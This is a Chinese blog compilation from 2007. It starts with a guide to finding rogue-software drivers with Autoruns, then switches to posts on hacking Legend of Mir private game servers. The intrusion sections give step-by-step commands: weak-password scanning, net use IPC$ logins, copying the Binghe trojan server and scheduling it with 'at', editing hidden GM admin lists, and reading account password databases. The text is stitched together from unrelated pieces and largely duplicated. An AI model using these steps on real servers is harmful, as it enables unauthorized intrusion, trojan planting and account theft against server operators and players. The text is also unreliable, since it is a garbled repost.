用Autoruns揪出流氓软件的驱动保护
[ 2007-03-25 03:07:18 | 作者: sun ]
一、为什么流氓软件总是删不掉?
经常有网友发贴子说文件删除不掉,或者流氓软件清除不了,或者删除了相关的文件,但是马上它又出现了。现在流氓软件为了保护自己,采取的手段是五花八门,无所不用其极:进程保护,交叉感染,自启动,自我恢复,文件隐藏,进程注入,驱动保护。
到目前为止,所有流氓软件最终极、最有效的保护办法还是底层驱动级的保护,一般就是在drivers目录下增加一个或多个.sys文件(我也见过一个用rundll32来运行一个.dll作为驱动的),但本质上这个都会在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一个相关的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且将启动级别做得很高,在安全模式下也会自动启动。这个底层的驱动过滤所有的文件以及注册表操作,如果发现是对流氓软件自己的文件/注册表操作,就会直接返回一个true,如果发觉文件被删除,就会通过备份或者网络来下载恢复。它们的保护措施已经做到这一级,普通用户根本没有办法删除相关的文件,一般都需要重启到DOS系统下去删除文件。
这也是很多网友提的为什么文件删除不掉,或者删除了,重启之后,一会儿又出现了,阴魂不散的原因。下面我们的要做的,就是找出来这些流氓软件的后台的驱动保护。
二、为什么找出驱动保护很困难?
Windows的驱动文件一般位于system32\drivers目录下,以.sys文件方式存在,通过注册表的HKLM\SYSTEM\CurrentControlSet\Services\的方式来启动,有一部分属于服务的,可以在Windows的服务的MMC控制窗口里看到。但如果是驱动,则在这里看不到。Windows正式情况下,那个drivers目录下有200个左右的文件,如果偷偷往这个下面塞一个.sys文件,是很难发现的。象著名的3721这类cnsminkp.sys,CNNIC的cdnprot.sys比较容易认识,但现在的很多软件的名字都是不固定的,或者是随机生成的,这样的辨识的难度就很大。我曾经用过的方式有:
1、通过保存文件列表,时常自己手工比较这两个文件,看前后差别多出来的文件肯定有问题
2、通过文件生成的日期。(这点流氓软件也想到了,日期也只能作为参考)
3、通过文件的属性里在的公司信息。早年还行,现在越来越多的流氓软件的驱动冒充是M$的,有的连英文单词都写错了。
4、通过文件夹监视工具。
上面这四种都有一定的缺陷,只能作为参考,都不是太好。并且现在有一些软件通过文件系统隐藏,这些驱动文件,通过资源管理器,根本连看都看不到。
三、如何找出可疑驱动来?
难道没有更好的办法吗?有,应该有的,这个就是我们今天要介绍的主角:Autoruns
介绍:Autoruns是著名的sysinternals出品的一款小软件,它的主要功能是列出系统自启动的项目。通过它,你可以轻易查看到所有系统可能启动的地方,非常的全面。跟流氓软件相关的是“Services(服务)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驱动)“。下面重点介绍Drivers这一部分的功能。
运行Autoruns之后,在它的“Options(选项)”菜单中有两项“Verifiy Code Signatures(验证代码签名)“Hide Signed Microsoft Entries(隐藏已签名的微软项)“,把这两项都选中了。验证代码签名是指验证所有dirvers下的.sys文件的文件签名。Windows下的硬件有一个签名的功能,它是为了保证所有的驱动文件是经过M$测试,符合HAL兼容性。隐藏已签名的微软项,就是把那些合法的隐藏起来。不然200多个,会看着发晕的。
这样Autoruns就会检查所有已经注册成为驱动的项,并且检查所有的.sys的文件数字签名。所有假冒的或者没有通过代码签名的项,都会在这里列出来。也就可以很容易判断这个驱动是不是有问题了。如果有问题的话,可能通过冰刃把里面相关的注册表键值删除,重启机器,这样驱动保护就失效了,然后可以通过文件删除工具来删除其它的文件,完成最后的清理工作。
四、总结
最后再总结一下:
1、流氓软件删除不掉或者死灰复燃,很多时候是因为有驱动或服务保护
2、通过Autoruns找到这些可疑的驱动
3、通过冰刃删除相关驱动健值或者直接用文件粉碎器删除相关的.sys文件,重启驱动就无效
4、清理其它文件,完成善后工作。
以上方法通过各种测试是证明有效的,但不排除将来有更进一步的隐藏手段来躲避Autoruns的检查。但原理是一样的。不过是通过程序来减少工作量。
经常有网友发贴子说文件删除不掉,或者流氓软件清除不了,或者删除了相关的文件,但是马上它又出现了。现在流氓软件为了保护自己,采取的手段是五花八门,无所不用其极:进程保护,交叉感染,自启动,自我恢复,文件隐藏,进程注入,驱动保护。
到目前为止,所有流氓软件最终极、最有效的保护办法还是底层驱动级的保护,一般就是在drivers目录下增加一个或多个.sys文件(我也见过一个用rundll32来运行一个.dll作为驱动的),但本质上这个都会在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一个相关的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且将启动级别做得很高,在安全模式下也会自动启动。这个底层的驱动过滤所有的文件以及注册表操作,如果发现是对流氓软件自己的文件/注册表操作,就会直接返回一个true,如果发觉文件被删除,就会通过备份或者网络来下载恢复。它们的保护措施已经做到这一级,普通用户根本没有办法删除相关的文件,一般都需要重启到DOS系统下去删除文件。
这也是很多网友提的为什么文件删除不掉,或者删除了,重启之后,一会儿又出现了,阴魂不散的原因。下面我们的要做的,就是找出来这些流氓软件的后台的驱动保护。
二、为什么找出驱动保护很困难?
Windows的驱动文件一般位于system32\drivers目录下,以.sys文件方式存在,通过注册表的HKLM\SYSTEM\CurrentControlSet\Services\的方式来启动,有一部分属于服务的,可以在Windows的服务的MMC控制窗口里看到。但如果是驱动,则在这里看不到。Windows正式情况下,那个drivers目录下有200个左右的文件,如果偷偷往这个下面塞一个.sys文件,是很难发现的。象著名的3721这类cnsminkp.sys,CNNIC的cdnprot.sys比较容易认识,但现在的很多软件的名字都是不固定的,或者是随机生成的,这样的辨识的难度就很大。我曾经用过的方式有:
1、通过保存文件列表,时常自己手工比较这两个文件,看前后差别多出来的文件肯定有问题
2、通过文件生成的日期。(这点流氓软件也想到了,日期也只能作为参考)
3、通过文件的属性里在的公司信息。早年还行,现在越来越多的流氓软件的驱动冒充是M$的,有的连英文单词都写错了。
4、通过文件夹监视工具。
上面这四种都有一定的缺陷,只能作为参考,都不是太好。并且现在有一些软件通过文件系统隐藏,这些驱动文件,通过资源管理器,根本连看都看不到。
三、如何找出可疑驱动来?
难道没有更好的办法吗?有,应该有的,这个就是我们今天要介绍的主角:Autoruns
介绍:Autoruns是著名的sysinternals出品的一款小软件,它的主要功能是列出系统自启动的项目。通过它,你可以轻易查看到所有系统可能启动的地方,非常的全面。跟流氓软件相关的是“Services(服务)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驱动)“。下面重点介绍Drivers这一部分的功能。
运行Autoruns之后,在它的“Options(选项)”菜单中有两项“Verifiy Code Signatures(验证代码签名)“Hide Signed Microsoft Entries(隐藏已签名的微软项)“,把这两项都选中了。验证代码签名是指验证所有dirvers下的.sys文件的文件签名。Windows下的硬件有一个签名的功能,它是为了保证所有的驱动文件是经过M$测试,符合HAL兼容性。隐藏已签名的微软项,就是把那些合法的隐藏起来。不然200多个,会看着发晕的。
这样Autoruns就会检查所有已经注册成为驱动的项,并且检查所有的.sys的文件数字签名。所有假冒的或者没有通过代码签名的项,都会在这里列出来。也就可以很容易判断这个驱动是不是有问题了。如果有问题的话,可能通过冰刃把里面相关的注册表键值删除,重启机器,这样驱动保护就失效了,然后可以通过文件删除工具来删除其它的文件,完成最后的清理工作。
四、总结
最后再总结一下:
1、流氓软件删除不掉或者死灰复燃,很多时候是因为有驱动或服务保护
2、通过Autoruns找到这些可疑的驱动
3、通过冰刃删除相关驱动健值或者直接用文件粉碎器删除相关的.sys文件,重启驱动就无效
4、清理其它文件,完成善后工作。
以上方法通过各种测试是证明有效的,但不排除将来有更进一步的隐藏手段来躲避Autoruns的检查。但原理是一样的。不过是通过程序来减少工作量。
前几天,本私服也同样遭受过黑客的攻击!但是研究了几次发现了漏洞的所在!
下面我先写如何入侵计算机的,我用的是WINDOWS 2000 SEVER
1 X-SCAN扫描IP 看看谁是弱口令(IP也非常容易得到,私服都有,弱口令就是用户名和密码都是系统默认的,没有改。)
2 打开DOS系统 在DOS下进行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的私服!做GM也好,搞破坏删除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释一下!!这段代码目的很简单就是将D盘拷贝一个传奇GM的列表,你可以把你自己添加进去在编辑!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
这样就可以了。这是利用弱口令进入计算机的方法!!当然了还有更多的方法。
我在讲讲我的 ** 传奇的遭黑的经历!
首先,就是鼠标乱动,很明显就是被人控制了,分析如下:1,中木马,2远程控制!
其次,有文件覆盖的对话框,计算机被突然重新启动!!分析如下:1,破坏系统,2,对传奇的控制!3,从新启动是为了黑客的设置生效!
再次,有非法GM制造物品,以被查出。分析如下:是针对传奇而来!
解决办法:用杀毒软件杀毒,最好在DOS下进行!2,是2000的漏洞太多,查找无用的端口,并关闭3389等,下载 2000 SP3 的补丁!在控制面板中选本地用户和组中关闭GUEST帐号!和 IUSR (计算机名)INTNERNET来宾帐号关闭(我的传奇就是黑客利用这个号进入计算机的),修改超级管理员用户名与密码! 在关闭远程访问等功能,另外,进攻传奇主要是GM列表,我同样也中过,现象是这样的,打开AdminList.txt文件,没有发现多的GM,利用CTRL-A看看有没有多余的GM,另外仔细一看,在看AdminList.TXT的文件名后面有没有空格,设置文件全部显示,会发现是否多了一个隐藏GM列表文件,这也是屡进不止的发现有非法GM的原因.黑客进攻我的计算机是用了2个小时就被我发现了,立即做了相应的修改,恢复了传奇的正常运行,至今为止,仍然有人进入我的来宾帐号的警告,但是已经进不来了!传奇也步入了正常的运行当中!
face=Verdana> 虽然我写了一些如何进攻和防御计算机的方法和解决办法,我自己也觉得有点自相矛盾的想法,但是我的目的很是简单,希望能够帮助你解决你的问题!提高自己计算机的安全
如何在别人的私服做GM?
攻击初级教学
我在侵入别人4f所使用的方法
看到有些4f做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的服务器端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。。。。
其实我所使用的方法很简单,只有4个工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其实就是2000下的dos啦)!
(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 “shed.exe”:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也包含了个人上网的ip.呵呵!一些作网站,网吧的服务器一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不够!有些需要密码。遇到密码怎办?用流光! “流光”虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测,此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。
下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! “冰河”,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为服务器那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且控制他呢? “cmd.exe” 是2000下的dos了,执行cmd.exe 使用net命令,
具体操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该网站admin里的。这里的”ip”就是主机了,“password”就是超级用户的密码,“user”就是超级用户。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程服务器端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧,呵呵!装了防火墙估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿……
第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的服务器时间为准。
第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。
这时我们就可以控制服务器了,
net use * \\ip\*$ 远程映射
看这个
mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。呵呵。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到, mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。呵呵
这里,我把你边走边看加到这个服务器的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入游戏(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去游戏吧,你是gm了,可是真正的gm是不会从服务器端看到你的名字呢!!他也许在想“这里怎么了啊?好像还有个gm???”。呵呵,不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制服务器主机了,比如给他关机啊重启啊····
私服技术我是一点都不懂。不过服务器安全方面还是略懂一二哦!
服务器入侵主要靠的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被黑客扫描到的话,哪么你将会得到一个恐怕的威胁!
当你私服是人气高的时候。给黑客入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
先运行CMD
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administrator
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不安全了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
帐号安全:
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更安全
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!
溢出:
2000服务器版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务(这个就是IIS)你将他开启。上面按停止!这样就进一步安全了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。
RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个防火墙,将135端屏蔽!
大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。安全一定属于你!
入侵传奇私服/充当非法GM
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩游戏,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩传奇时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
打开cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧,
第二天注册个帐号,新建个之前加的人名进去,
/who
当前150人在线
哈,我就是gm了。赶快把自己升级,
@level -1
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,哈哈,好装备到手了,可以玩了
面记得有位朋友对加强对服务器安全性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对服务器的安全配置确实非常困难,考虑的方面也太多了.
今天先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
前面那位朋友所概述的主要是针对WIN2000系统弱口令的安全设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代,口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E-MAIL,PROXY服务器都有这种低级的错误!
如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在黑客软件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的防火墙,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具.比较难得发现,所以你就必须在服务器里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该安全设置好.
下面我都WIN2000的WWW(IIS)服务器安全配置略讲一下,WWW服务在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默认安装的,如果你不需要用2000的WWW服务的话,建议不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在管理工具/服务里设置WORD WIDE WEB SERVICE启动类型为手动/禁用
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的私服,你就必须按以下方法安全配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你服务器运行所占用的CPU资源,和内存使用率.然后建议你删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的。小心呀!
目前在黑客横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口令,像自己架设的WEB服务器有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的安全运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB服务器,我还是建议你去使用AP了.他的源代码开发,免费,安全性稳定性都比IIS强得多了.
下面我先写如何入侵计算机的,我用的是WINDOWS 2000 SEVER
1 X-SCAN扫描IP 看看谁是弱口令(IP也非常容易得到,私服都有,弱口令就是用户名和密码都是系统默认的,没有改。)
2 打开DOS系统 在DOS下进行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的私服!做GM也好,搞破坏删除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释一下!!这段代码目的很简单就是将D盘拷贝一个传奇GM的列表,你可以把你自己添加进去在编辑!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
这样就可以了。这是利用弱口令进入计算机的方法!!当然了还有更多的方法。
我在讲讲我的 ** 传奇的遭黑的经历!
首先,就是鼠标乱动,很明显就是被人控制了,分析如下:1,中木马,2远程控制!
其次,有文件覆盖的对话框,计算机被突然重新启动!!分析如下:1,破坏系统,2,对传奇的控制!3,从新启动是为了黑客的设置生效!
再次,有非法GM制造物品,以被查出。分析如下:是针对传奇而来!
解决办法:用杀毒软件杀毒,最好在DOS下进行!2,是2000的漏洞太多,查找无用的端口,并关闭3389等,下载 2000 SP3 的补丁!在控制面板中选本地用户和组中关闭GUEST帐号!和 IUSR (计算机名)INTNERNET来宾帐号关闭(我的传奇就是黑客利用这个号进入计算机的),修改超级管理员用户名与密码! 在关闭远程访问等功能,另外,进攻传奇主要是GM列表,我同样也中过,现象是这样的,打开AdminList.txt文件,没有发现多的GM,利用CTRL-A看看有没有多余的GM,另外仔细一看,在看AdminList.TXT的文件名后面有没有空格,设置文件全部显示,会发现是否多了一个隐藏GM列表文件,这也是屡进不止的发现有非法GM的原因.黑客进攻我的计算机是用了2个小时就被我发现了,立即做了相应的修改,恢复了传奇的正常运行,至今为止,仍然有人进入我的来宾帐号的警告,但是已经进不来了!传奇也步入了正常的运行当中!
face=Verdana> 虽然我写了一些如何进攻和防御计算机的方法和解决办法,我自己也觉得有点自相矛盾的想法,但是我的目的很是简单,希望能够帮助你解决你的问题!提高自己计算机的安全
如何在别人的私服做GM?
攻击初级教学
我在侵入别人4f所使用的方法
看到有些4f做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的服务器端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。。。。
其实我所使用的方法很简单,只有4个工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其实就是2000下的dos啦)!
(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 “shed.exe”:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也包含了个人上网的ip.呵呵!一些作网站,网吧的服务器一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不够!有些需要密码。遇到密码怎办?用流光! “流光”虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测,此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。
下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! “冰河”,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为服务器那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且控制他呢? “cmd.exe” 是2000下的dos了,执行cmd.exe 使用net命令,
具体操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该网站admin里的。这里的”ip”就是主机了,“password”就是超级用户的密码,“user”就是超级用户。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程服务器端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧,呵呵!装了防火墙估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿……
第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的服务器时间为准。
第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。
这时我们就可以控制服务器了,
net use * \\ip\*$ 远程映射
看这个
mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。呵呵。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到, mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。呵呵
这里,我把你边走边看加到这个服务器的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入游戏(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去游戏吧,你是gm了,可是真正的gm是不会从服务器端看到你的名字呢!!他也许在想“这里怎么了啊?好像还有个gm???”。呵呵,不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制服务器主机了,比如给他关机啊重启啊····
私服技术我是一点都不懂。不过服务器安全方面还是略懂一二哦!
服务器入侵主要靠的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被黑客扫描到的话,哪么你将会得到一个恐怕的威胁!
当你私服是人气高的时候。给黑客入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
先运行CMD
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administrator
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不安全了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
帐号安全:
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更安全
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!
溢出:
2000服务器版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务(这个就是IIS)你将他开启。上面按停止!这样就进一步安全了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。
RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个防火墙,将135端屏蔽!
大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。安全一定属于你!
入侵传奇私服/充当非法GM
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩游戏,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩传奇时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
打开cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧,
第二天注册个帐号,新建个之前加的人名进去,
/who
当前150人在线
哈,我就是gm了。赶快把自己升级,
@level -1
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,哈哈,好装备到手了,可以玩了
面记得有位朋友对加强对服务器安全性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对服务器的安全配置确实非常困难,考虑的方面也太多了.
今天先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
